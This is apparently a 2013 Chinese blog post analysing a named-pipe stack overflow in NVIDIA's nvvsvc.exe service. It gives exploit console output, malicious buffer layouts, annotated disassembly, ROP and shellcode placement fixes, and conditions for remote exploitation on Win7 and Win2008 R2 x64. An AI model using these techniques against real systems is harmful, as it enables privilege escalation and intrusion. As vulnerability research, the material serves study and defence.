2013-01-09

NVidia本地&远程提权漏洞分析

漏洞背景

圣诞节,一个网名“Winter-Smith”(冬日史密斯)的黑客公布了NVIDIA显卡驱动中存在的一个严重安全漏洞,可以轻松获取系统权限。这位老兄还很厚道地在网上公开了漏洞的完整细节,有经验的黑客完全可以拿过来就利用,搞的NVIDIA的某些员工这个圣诞和新年是没法清净。

NVIDIA Driver Helper Service,是一个r3层的服务,程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp),这个程序启动后会创建一个命名管道\pipe\nvsr,比较特别的是这个管道的dacl是空,也就是说everyone都可以访问,xpx32版下0x52命令也不支持,同时老版本的xp版nvsvc32.exe根本没建命名管道。这个漏洞利用只针对win7x64版有效,在win7x32版上只能够做到infoleak。

调试环境

系统环境 Win7sp1 x64 windbg IDA
驱动程序提供商 NVIDIA GT520M
驱动程序版本 8.17.12.9555
服务名称 NVIDIA Display Driver Service
服务进程 nvvsvc.exe
需要说明的是,在windows xp下产生服务的程序是nvsvc32.exe,windows 7下产生服务的是nvvsvc.exe。

漏洞分析

刚开始从网上找到源码,先在我的win7x32下编译运行,程序到第二步直接就挂掉了,提示:!! Unable to create named pipe。然后将程序编译成64位,在虚拟机里win7x64下运行,依然得到相同的结果。

开始看博客原文,大概了解以后知道是测试环境没有对,需要Nvidia的gt540m显卡和win7x64。而且在虚拟机里无法进行测试,因为需要nvvsvc.exe后台服务运行,虚拟机不支持。这就为测试环境提出了非常苛刻的条件。原文博客上记载如果测试成功,会增加一个r00t的管理员,测试窗口显示如下:

 C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
 ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
 [@peterwintrsmith]
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
 Action 1 of 9:  - CONNECT
 Action 2 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 3 of 9:   - SERVER => CLIENT
 Read 16504 (0x4078) characters from pipe
 Action 4 of 9: Building exploit ...
 => Stack cookie 0xe2e2893340d4:
 => nvvsvc.exe base 0x13fb90000:
 Action 5 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 6 of 9:   - SERVER => CLIENT
 Read 16384 (0x4000) characters from pipe
 Action 7 of 9:  - CLIENT => SERVER
 Written 16416 (0x4020) characters to pipe
 Action 8 of 9:   - SERVER => CLIENT
 Read 16896 (0x4200) characters from pipe
 Action 9 of 9:  - DISCONNECT

找到gt540m + win7x64这个环境以后测试只能走到第八步,错误提示:

!! Error reading from pipe (at least, no data on pipe)

然后我在自己的电脑上gt520m + win7x64测试也是得到相同的结果,挂到第八步,这样的话就需要去分析源码了。

源码的大概流程是先查找目标机是否存在一个名字为nvsr的管道,如果存在与其进行连接,通过往管道里写入数据从得到的返回数据里得到目标机泄漏出来的cookie和nvvsvc.exe基址,然后通过构造ROP链突破DEP执行shellcode,增加管理员r00t也就是shellcode完成的工作。Shellcode的执行是在nvvsvc进程中执行的,而nvvsvc.exe驱动服务具有管理员权限,因此就完成了提权的过程。

通过对源码的分析,回过头看,挂在第二步肯定就是没找到nvsr管道。本机存在管道的查看可以通过pipelist工具进行查看。挂在第八步就需要对源码进行调试分析,看到底是哪里出错了。通过与测试成功窗口进行对比,挂在第八步的时候,我们看到第四步,并没有显示=> nvvsvc.exe base 0x13fb90000:这条提示符,也就是说并没有找对nvvsvc.exe基址。

在第四步代码之前下断点,经过多次调试以后,发现不同的Nvidia驱动版本对应的匹配字节是不相同的。比如在我的gt520m 驱动版本:8.17.12.9555上边测试就应该是0xb41,这样匹配以后才能算出正确的nvvsvc.exe基址。后边在经过测试验证,在相同的显卡,不同的驱动版本下匹配字节也是不相同的,这就是为什么我们找到了gt540m+win7x64的环境依然不能得到正确的结果。再后来又经过测试,在不同的显卡,相同的驱动版本下匹配字节相同,也就是可以做到通用。在整个调试过程中,不能在虚拟机调试,而且只要调试过一次,nvvsvc.exe后台驱动服务就会挂掉,需要重新启动系统才可以恢复,是一个相当麻烦的过程。

问题找到后,接下来就是构造ROP链的问题了,因为基址不同,ROP链也需要自己重新构造。在构造ROP链过程中,遇到了两个问题,首先是virtualprotect函数参数的使用,源码中给了第二个参数dwSize赋值的是0x1,源码中说明是整个一页,但是实际测试中并不能够成功,最后将其改成0x300成功。第二个问题也是想了很久,也是一个很有意思的问题,在构造ROP链的最后一步jmp rsp,这条指令地址为基址+0xb7153,在调试时候始终跳不过去执行shellcode,最后找到的原因是因为这个偏移太大了,已经不在代码段了,因此是不可执行的指令,最后换上call rsp成功实现跳转执行shellcode。

漏洞利用

攻击者先查找是否能够找到命名管道\pipe\nvsr,如果找到就与其建立通信,分三次往管道中写入数据,第一次泄漏出模块基址用于构造ROP链,第二次将带有ROP链和shellcode的数据写入管道,第三次重新布局数据最后执行shellcode.由于nvvsvc服务具有管理员权限,因此就实现了提权过程。

泄漏出模块基址构造ROP链

第一次写入数据BuildMalicious_LeakStack()总共0x4020字节

 Base + 0x0000     52 00
 Base + 0x0002     41 00 41 00 41 00 41 00....
 Base + 0x4002     00 00
 Base + 0x4004     00 00 00 00
 Base + 0x4008     78 40 00 00
 Base + 0x400c     41 41 41 41
 Base + 0x4010     41 41 41 41
 Base + 0x4014     41 41 41 41
 Base + 0x4018     41 41 41 41
 Base + 0x401c     41 41 41 41

读出数据 0x4200(即nvvsvc服务写入管道数据0x4078)

 rgReadBuf+0x0000      41 41 41 41
 rgReadBuf+0x0004      41 41 41 41
 rgReadBuf+0x0008      41 41 41 41
 rgReadBuf+0x000c      41 41 41 41
 rgReadBuf+0x0010      41 41 41 41
 rgReadBuf+0x0010      00 00 00 00
 ...
 rgReadBuf+0x4034      2e 5d 29 39 44 f5 00 00
 rgReadBuf+0x403c      41 3b 7f 3f 01 00 00 00
 ...

ROP链和shellcode的数据写入管道

nvvsvc服务写入管道数据的方法:
首先会先取管道中数据(即攻击者CLIENT写入管道的数据)头两个字节作为操作判断符号,本漏洞利用的就是0x52操作,操作方式为读写数据。然后判断第三个字节是否为0x00,如果不为0x00,循环判断,最多循环0x2000次,判断结束后,将其后边数据偏移四个字节作为写入管道的数据长度,如上边的0x4078.然后将长度后边的数据作为写入管道的数据,如上边的0x41414141。也就是说最后nvvsvc服务先将Base + 0x400c处开始的长度为0x4078个数据复制到Base + 0x4020处,最后再将这些数据写入管道中。在调用复制数据函数的时候没有做任何有关长度的检测,导致将base+0x400c+0x4034的cookie和base+0x400c+0x403c处的模块基址(需要减去一个偏移)泄漏出来并写入管道,最后攻击者CLIENT读出这些数据加以利用。

base+0x400c+0x403c处的模块基址需要做一些处理才能使用,比如上边读到的是0x013f7f3b41,先将这个值&0xfff得到后三位0xb41,这个值对应着每个NviDia的驱动版本,不同版本的驱动程序释放出来的nvvsvc.exe模块代码稍有不同,因此构造ROP链也会有差异。最后将0x013f7f3b41减去后四位0x3b41就得到了nvvsvc.exe模块基址。

第二次 写入数据BuildMalicious_FillBuf() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     00 40 00 00
 Base + 0x000c     43 43 43 43...
 Base + 0x0018     2e 5d 29 39 44 f5 00 00 cookie
 Base + 0x0020     43 43 43 43....
 Base + 0x0040     ROP链...
 Base + 0x0158     shellcode...
 ...
 其他0x43覆盖

读出数据 0x4000(即nvvsvc服务写入管道数据0x4000)

 rgReadBuf+0x0000      43 43 43 43...
 ...
 rgReadBuf+0x0044      ROP链...
 rgReadBuf+0x014c      shellcode...
 ...
 其他0x43覆盖

第三次 写入数据BuildMalicious_OverwriteStack() 总共0x4020

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...

经过管道处理复制(0x4340个字节)以后,在nvvsvc模块缓冲区中

 Base + 0x0000     52 00
 Base + 0x0002     00 00
 Base + 0x0004     00 00 00 00
 Base + 0x0008     40 43 00 00
 Base + 0x000c     42 42 42 42...
 ...
 Base+0x401c       42 42 42 42
 Base+0x4020       42 42 42 42
 ...
 Base+0x8034       43 43 43 43
 ...
 Base+0x8064       rop链...
 Base+0x8078       shellcode...
 ...

通过控制复制的字节长度,最后一步恢复堆栈时候 lea r11,[rsp+82B0h]将跳到我们控制的地方。
读出数据 0x4200(nvvsvc服务写入管道数据0x4340)

 rgReadBuf+0x0000      42 42 42 42...
 ...
 rgReadBuf+0x4014      43 43 43 43
 ...
 rgReadBuf+0x4044      rop链...
 rgReadBuf+0x414c      shellcode...
 ...

IDA关键代码:

 .text:0000000000003B18         mov     rax, rsp
 .text:0000000000003B1B         mov     [rax+10h], rbx
 .text:0000000000003B1F         mov     [rax+18h], rsi
 .text:0000000000003B23         mov     [rax+20h], rdi
 .text:0000000000003B27         push    rbp
 .text:0000000000003B28         push    r12
 .text:0000000000003B2A         push    r13
 .text:0000000000003B2C         push    r14
 .text:0000000000003B2E           push    r15
 .text:0000000000003B30         lea     rbp, [rax-81D8h]
 .text:0000000000003B37         mov     eax, 82B0h
 .text:0000000000003B3C         call    sub_49880
 .text:0000000000003B41         sub     rsp, rax
 .text:0000000000003B44         mov     rax, cs:qword_C5148
 .text:0000000000003B4B         xor     rax, rsp
 .text:0000000000003B4E         mov     [rbp+81A0h], rax
 .text:0000000000003B55         xor     r14d, r14d
 .text:0000000000003B58         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpNumberOfBytesRead
 .text:0000000000003B5D         lea     rdx, [rbp+160h] ; lpBuffer
 .text:0000000000003B64         mov     r8d, 4020h      ; nNumberOfBytesToRead
 .text:0000000000003B6A         mov     rsi, rcx
 .text:0000000000003B6D         mov     [rsp+28h+NumberOfBytesRead], r14d
 .text:0000000000003B72         mov     [rsp+28h+NumberOfBytesWritten], r14d
 .text:0000000000003B77         mov     [rsp+28h+nNumberOfBytesToWrite], r14d
 .text:0000000000003B7C         mov     [rsp+28h+var_8], r14
 .text:0000000000003B81         call    cs:ReadFile
 ; nvvsvc服务从管道固定读入4020个字节数据到缓冲区
 .text:0000000000003B87         test    eax, eax
 .text:0000000000003B89         jz      loc_406F
 .text:0000000000003B8F         mov     ebx, 2000h
 .text:0000000000003B94         lea     edi, [r14+52h]  ; edi=52h
 .text:0000000000003B98         lea     r15d, [r14+12h] ; r15=12h
 .text:0000000000003B9C
 .text:0000000000003B9C loc_3B9C:                ; CODE XREF: sub_3B18+551j
 .text:0000000000003B9C         cmp     [rsp+28h+NumberOfBytesRead], r14d ; [rsp+28h+NumberOfBytesRead]=4020h,r14d=0
 .text:0000000000003BA1         jz      loc_406F
 .text:0000000000003BA7         movzx   ecx, word ptr [rbp+160h]
 ;将读入的数据头两个字节放入ecx中,ecx=0052,根据头两字节来判断操作,根据后边调试分析,0x52为管道读写操作,读写方法上边已经介绍。
 .text:0000000000003BAE         sub     ecx, 23h     ; ecx=2f
 .text:0000000000003BB1         jz      loc_3F70
 .text:0000000000003BB7         sub     ecx, 20h     ; ecx=f
 .text:0000000000003BBA            jz      loc_3E9C
 .text:0000000000003BC0         dec     ecx
 .text:0000000000003BC2         jz      loc_3E41
 .text:0000000000003BC8         sub     ecx, 3
 .text:0000000000003BCB         jz      loc_3DBB
 .text:0000000000003BD1         sub     ecx, 5
 .text:0000000000003BD4         jz      loc_3D35
 .text:0000000000003BDA         sub     ecx, 6
 .text:0000000000003BDD         jz      loc_3CB2     ; 跳转
 .text:0000000000003BE3         cmp     ecx, 5
 .text:0000000000003BE6         jz      short loc_3BFA
 .text:0000000000003BE8         mov     r8d, 1Ch
 .text:0000000000003BEE         lea     rdx, aUnknownToken ; "Unknown token"
 .text:0000000000003BF5         jmp     loc_3F5F
 ......
 text:0000000000003CB2 loc_3CB2:                ; CODE XREF: sub_3B18+C5j
 .text:0000000000003CB2         lea     rcx, [rbp+162h]
 .text:0000000000003CB9         mov     rdx, rbx
 .text:0000000000003CBC            mov     [rsp+28h+arg_4], 3
 .text:0000000000003CC4         call    sub_462E0
 ; 该函数的功能是循环判断rax次(rax最大2000h),以0作为判断终止符,然后将rax返回,下边将根据rax来复制将要写入管道的数据。
 .text:0000000000003CC9         cmp     cs:dword_D0990, r14d
 .text:0000000000003CD0         lea     r9, [rsp+28h+arg_8]
 .text:0000000000003CD5         mov     ecx, [rbp+rax*2+164h]
 ; ecx=0  [rbp+rax*2+164h]=000000007840000041414141...
 .text:0000000000003CDC         lea     rdi, [rbp+rax*2+16Ch]
 ; [rbp+rax*2+16Ch]=4141414141...
 .text:0000000000003CE4         lea     rdx, [rsp+28h+arg_4]
 .text:0000000000003CE9         mov     [rsp+28h+arg_4], ecx
 .text:0000000000003CED         mov     ecx, [rbp+rax*2+168h] ; rcx=4078
 .text:0000000000003CF4         mov     r8, rdi      ; [r8]=41414141...
 .text:0000000000003CF7         mov     [rsp+28h+arg_8], ecx
 .text:0000000000003CFB         lea     rcx, [rbp+162h]
 .text:0000000000003D02         jle     short loc_3D0B
 .text:0000000000003D04         call    sub_2C84
 .text:0000000000003D09         jmp     short loc_3D10
 .text:0000000000003D0B ; ---------------------------------------------------------------------------

 .text:0000000000003D0B
 .text:0000000000003D0B loc_3D0B:                ; CODE XREF: sub_3B18+1EAj
 .text:0000000000003D0B         call    sub_2A00
 .text:0000000000003D10 ; ---------------------------------------------------------------------------

 .text:0000000000003D10
 .text:0000000000003D10 loc_3D10:                ; CODE XREF: sub_3B18+1F1j
 .text:0000000000003D10         movsxd  rbx, [rsp+28h+arg_8]
 .text:0000000000003D15         lea     rcx, [rbp+4180h]
 .text:0000000000003D1C            mov     rdx, rdi
 .text:0000000000003D1F         mov     r8, rbx
 .text:0000000000003D22         call    sub_45980
 ; bug!!!复制数据函数  该函数的功能就是复制将要写入管道的数据,没有做任何检测,最后返回存放该数据缓冲区指针rax。该数据将发送回攻击者,长度为4078导致内存泄漏
 .text:0000000000003D27         mov     [rsp+28h+nNumberOfBytesToWrite], ebx
 .text:0000000000003D2B
 .text:0000000000003D2B loc_3D2B:                ; CODE XREF: sub_3B18+156j
 .text:0000000000003D2B                     ; sub_3B18+198j
 .text:0000000000003D2B         mov     edi, 52h
 .text:0000000000003D30         jmp     loc_4017
 ......

 .text:0000000000004017 loc_4017:               ; CODE XREF: sub_3B18+218j
 .text:0000000000004017                       ; sub_3B18+435j ...
 .text:0000000000004017         mov     ebx, [rsp+28h+nNumberOfBytesToWrite] ; ebx=4078
 .text:000000000000401B         lea     r9, [rsp+28h+NumberOfBytesWritten] ; lpNumberOfBytesWritten  [lp]=4078
 .text:0000000000004020         lea     rdx, [rbp+4180h] ; lpBuffer
 .text:0000000000004027         mov     rcx, rsi     ; hFile
 .text:000000000000402A         mov     r8d, ebx     ; nNumberOfBytesToWrite  4078个字节  每次写入没有限制也没有任何检测
 .text:000000000000402D         mov     [rsp+28h+var_8], r14
 .text:0000000000004032         call    cs:WriteFile    ; 将4078个字节的数据写入管道中,导致内存泄漏
 .text:0000000000004038         test    eax, eax     ; 判断是否调用成功
 .text:000000000000403A         jz      short loc_406F
 .text:000000000000403C         cmp     ebx, [rsp+28h+NumberOfBytesWritten] ; 判断是否写入的是4078个字节
 .text:0000000000004040         jnz     short loc_406F
 .text:0000000000004042         lea     r9, [rsp+28h+NumberOfBytesRead] ; lpnNumberOfBytesToRead ---step 5  [lp]=4020h
 .text:0000000000004047         lea     rdx, [rbp+160h] ; lpBuffer
 .text:000000000000404E         mov     r8d, 4020h      ; nNumberOfBytesToRead  4020h 每次固定读入4020h个字节
 .text:0000000000004054         mov     rcx, rsi     ; hFile
 .text:0000000000004057         mov     [rsp+28h+var_8], r14
 .text:000000000000405C         call    cs:ReadFile     ;将攻击者CLIENT发送的数据从管道读入缓冲区
 .text:0000000000004062         mov     ebx, 2000h
 .text:0000000000004067         test    eax, eax
 .text:0000000000004069         jnz     loc_3B9C        ; 如果读到数据则跳回前边做循环处理

攻击者发送完三次数据,nvvsvc服务最后一次从管道中读取数据失败,然后去执行关闭管道句柄过程,如下:

 .text:000000000000406F
 .text:000000000000406F loc_406F:                ; CODE XREF: sub_3B18+71j
 .text:000000000000406F                     ; sub_3B18+89j ...
 .text:000000000000406F         mov     rcx, rsi     ; hFile
 .text:0000000000004072         call    cs:FlushFileBuffers
 .text:0000000000004078         mov     rcx, rsi     ; hNamedPipe
 .text:000000000000407B         call    cs:DisconnectNamedPipe
 .text:0000000000004081         mov     rcx, rsi     ; hObject
 .text:0000000000004084         call    cs:CloseHandle
 .text:000000000000408A         lock dec cs:dword_D091C
 .text:0000000000004091         mov     eax, 1
 .text:0000000000004096         mov     rcx, [rbp+81A0h]
 .text:000000000000409D            xor     rcx, rsp
 .text:00000000000040A0         call    sub_455A0
 .text:00000000000040A5         lea     r11, [rsp+28h+arg_8280]
 ;恢复堆栈指针rsp, lea r11,[rsp+82b0],通过最后一步写入数据的精心布局,rsp最终将指向攻击者精心构造的数据。
 .text:00000000000040AD            mov     rbx, [r11+38h]
 .text:00000000000040B1         mov     rsi, [r11+40h]
 .text:00000000000040B5         mov     rdi, [r11+48h]
 .text:00000000000040B9         mov     rsp, r11     ; 得到rsp的控制权,此时堆栈数据如下:

 00000000`01b7fb00 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb08 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb10 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb18 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb20 43 43 43 43 43 43 43 43  CCCCCCCC
 00000000`01b7fb28 6e 5f 31 3f 01 00 00 00  n_1?....   //rop链
 00000000`01b7fb30 9c 4f 35 3f 01 00 00 00  .O5?....
 00000000`01b7fb38 00 00 00 00 00 00 00 00  ........

 .text:00000000000040BC         pop     r15
 .text:00000000000040BE         pop     r14
 .text:00000000000040C0         pop     r13
 .text:00000000000040C2         pop     r12
 .text:00000000000040C4         pop     rbp
 .text:00000000000040C5         retn
 ;  经过五次pop过后rsp指向ROP链第一条语句,retn之后开始执行ROP链,最后成功跳进shellcode.
 .text:00000000000040C5 sub_3B18     endp
 .text:00000000000040C5

远程利用条件

  • 本机(作为攻击的计算机)必须有账户名和密码,并且密码不能为空,目标机器密码可为空。
  • 本机与被攻击计算机必须在同一网段
  • 关闭防火墙
  • 被攻击的目标计算机必须关闭密码保护共享(本机可不关闭),如下图所示:
  • 如果攻击目标机器为Win2008 R2 x64系统,则本机(作为攻击计算机)的用户名中不能与目标机器具有相同的用户名。比如本机用户为test,而目标机器(Win2008中)的账户中也有个名为test的账户,则攻击不成功。对于攻击系统为Win7 x64的计算机则没有要求。

Win7 x64和Win2008 R2 x64均测试成功!

总结

经过多次试验,关键的地方就是c:\windows\system32\nvvsvc.exe这个程序,可以将这个程序拷贝到其他计算机中相同的目录下,不论是否装有N卡驱动,然后重启查看进程,确定该驱动服务后台加载了,就可以得到相同的测试结果。也就是说nvvsvc.exe这个驱动服务在启动的时候创建了一个名字为nvsr的管道,这个管道的dacl是空,也就是说everyone都可以访问。这就是该漏洞利用是否成功的关键。

这个漏洞要做到通用,还需要收集各种显卡的驱动程序,其实也仅仅需要收集c:\windows\system32\nvvsvc.exe这个程序,而且实际构造测试发现,有些相近版本的驱动(比如gt520m的8.17.12.8590和gt630m的8.17.12.8580)也是可以通用的。目前已经收集到10个,相应的ROP链也已经构造完成,并测试能够正确执行。

最后关于这个漏洞的分析,刚开始一直对这个nvvsvc.exe下断点断下来,后来原因也找到了,在进程中显示所有用户进程会发现两个nvvsvc.exe服务进程,一个可以断到,一个断不到,所以两个都需要下断点才可以。调试发现给最先加载的那个服务进程下断点就可以了。对于这个漏洞还有需要研究的地方,比如除了0x52操作,其他几个操作完成了什么样的功能,是否有可利用之处,需要有时间再跟踪调试一下。

参考

NVIDIA Driver Helper Service栈溢出简单说明
Nvvsvc32.exe 溢出简要分析

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...